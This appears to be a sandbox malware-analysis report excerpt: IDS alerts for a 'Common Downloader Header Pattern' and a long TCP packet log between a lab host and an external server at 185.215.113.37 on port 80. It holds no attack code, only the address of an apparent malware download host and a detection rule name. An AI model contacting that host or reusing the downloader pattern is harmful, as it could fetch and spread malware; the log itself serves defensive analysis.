2024-10-08T00:13:29.820804+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49704	185.215.113.37	80	TCP
2024-10-08T00:13:32.042658+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49704	185.215.113.37	80	TCP
2024-10-08T00:13:34.364969+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 00:13:18.431473970 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:18.437871933 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:18.437967062 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:18.438278913 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:18.444566965 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:19.110064983 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:19.110110044 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:19.114465952 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:19.121469975 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:19.348330021 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:19.348416090 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:19.349894047 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:19.356952906 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:19.567012072 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:19.567126989 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:19.567259073 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:19.567305088 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:19.568439960 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:19.576865911 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:19.787482023 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:19.787518978 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:19.787538052 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:19.787554979 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:19.787571907 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:19.787581921 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:19.787590027 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:19.787615061 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:19.787663937 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:19.788256884 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:19.788319111 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:19.788357973 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:19.788403034 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:19.790072918 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:19.796823978 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:20.007426023 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:20.007559061 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:20.047910929 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:20.047990084 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:20.054379940 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:20.054414034 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:20.054424047 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:20.054434061 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:20.055674076 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:20.055962086 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:20.056029081 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:20.769646883 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:20.769767046 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:21.345191002 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:21.653970957 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.263303041 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.557164907 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.558274984 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.558384895 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.558397055 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.558414936 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.558440924 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.558446884 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.558446884 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.558446884 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.558454990 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.558474064 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.558486938 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.558499098 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.558499098 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.558499098 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.558505058 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.558516979 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.558537960 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.558551073 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.558557987 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.558569908 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.558734894 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.561203003 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.561217070 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.564799070 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.564867973 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.662419081 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.662439108 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.662462950 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.662475109 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.662543058 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.662614107 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.662866116 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.662878990 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.662900925 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.662913084 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.662978888 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.662978888 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.663794041 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.663880110 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.663897991 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.663912058 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.663942099 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.663942099 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.663942099 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.663961887 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.667476892 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.667495012 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.667516947 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.667532921 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.667587042 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.667597055 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.667603970 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.667623043 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.667634964 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.667644024 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.667658091 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.667670965 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.667670965 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.667680025 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.667690992 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.667716980 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.667716980 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.667764902 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.786499977 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.786703110 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.786711931 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.786760092 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.786760092 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.786798000 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.786812067 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.786828041 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.786844015 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.787029028 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.787481070 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.787538052 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.787554979 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.787573099 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.787585020 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.787611008 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.787627935 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.787771940 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.787771940 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.788290024 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.788381100 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.788392067 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.788409948 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.788486004 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.788486004 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.788486004 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.789221048 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.789303064 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.789335966 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.789355993 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.789380074 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.789424896 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.789424896 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.789424896 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.790013075 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.790052891 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.790064096 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.790090084 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.790090084 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.790128946 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.790169001 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.790169001 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.790924072 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.790935993 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.790955067 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.790965080 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.791007996 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.791007996 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.791794062 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.791815996 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.791830063 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.791848898 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.791850090 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.791948080 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.791948080 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.792691946 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.792732954 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.792747021 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.792756081 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.792768002 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.792774916 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.792809963 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.792809963 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.793512106 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.793524981 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.793545961 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.793553114 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.793577909 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.793730021 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.794317961 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.794357061 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.794368029 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.794368982 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.794394970 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.794423103 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.795026064 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.795038939 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.795058012 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.795073032 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.795100927 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.795115948 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.911039114 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.911073923 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.911088943 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.911099911 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.911165953 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.911195040 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.911248922 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.911263943 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.911286116 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.911300898 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.911338091 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.911338091 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.911401987 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.911487103 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.911510944 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.911535025 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.911547899 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.911571026 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.911586046 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.911653996 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.911653996 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.911818027 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.911863089 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.911876917 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.911906004 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.911906004 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.911910057 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.911926031 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.911964893 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.911964893 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.911964893 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.912107944 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.912161112 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.912174940 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.912199974 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.912199974 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.912204027 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.912220001 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.912231922 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.912250996 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.912260056 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.912260056 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.912260056 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.912312984 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.912312984 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.912570953 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.912622929 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.912621975 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.912636995 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.912693977 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.912718058 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.912729025 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.912729025 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.912729025 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.912734985 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.912750006 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.912771940 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.912771940 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.912780046 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.912802935 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.912823915 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.912830114 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.912830114 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.912839890 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.912852049 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.912874937 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.912878036 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.912878036 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.912878036 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.912887096 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.912938118 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.912938118 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.912938118 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.913573980 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.913589001 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.913600922 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.913630009 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.913640976 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.913640976 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.913646936 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.913667917 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.913678885 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.913718939 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.913718939 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.913718939 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.913727999 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.913743019 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.913765907 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.913765907 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.913780928 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.913799047 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.913820028 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.913835049 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.913841963 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.913841963 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.913841963 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.913898945 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.914006948 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.914544106 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.914593935 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.914650917 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.914668083 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.914688110 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.914701939 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.914731026 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.914731026 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.914731026 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.914731026 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.914752007 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.914769888 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.914782047 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.914791107 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.914791107 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.914791107 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.914808035 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.914827108 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.914835930 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.914844036 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.914844036 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.914844036 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.914870024 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.914908886 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.914908886 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.914908886 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.918756008 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.918782949 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.918797970 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.918809891 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.918828964 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:22.918832064 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.918832064 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:22.918845892 CEST	80	49704	185.215.113.37	192.168.2.8
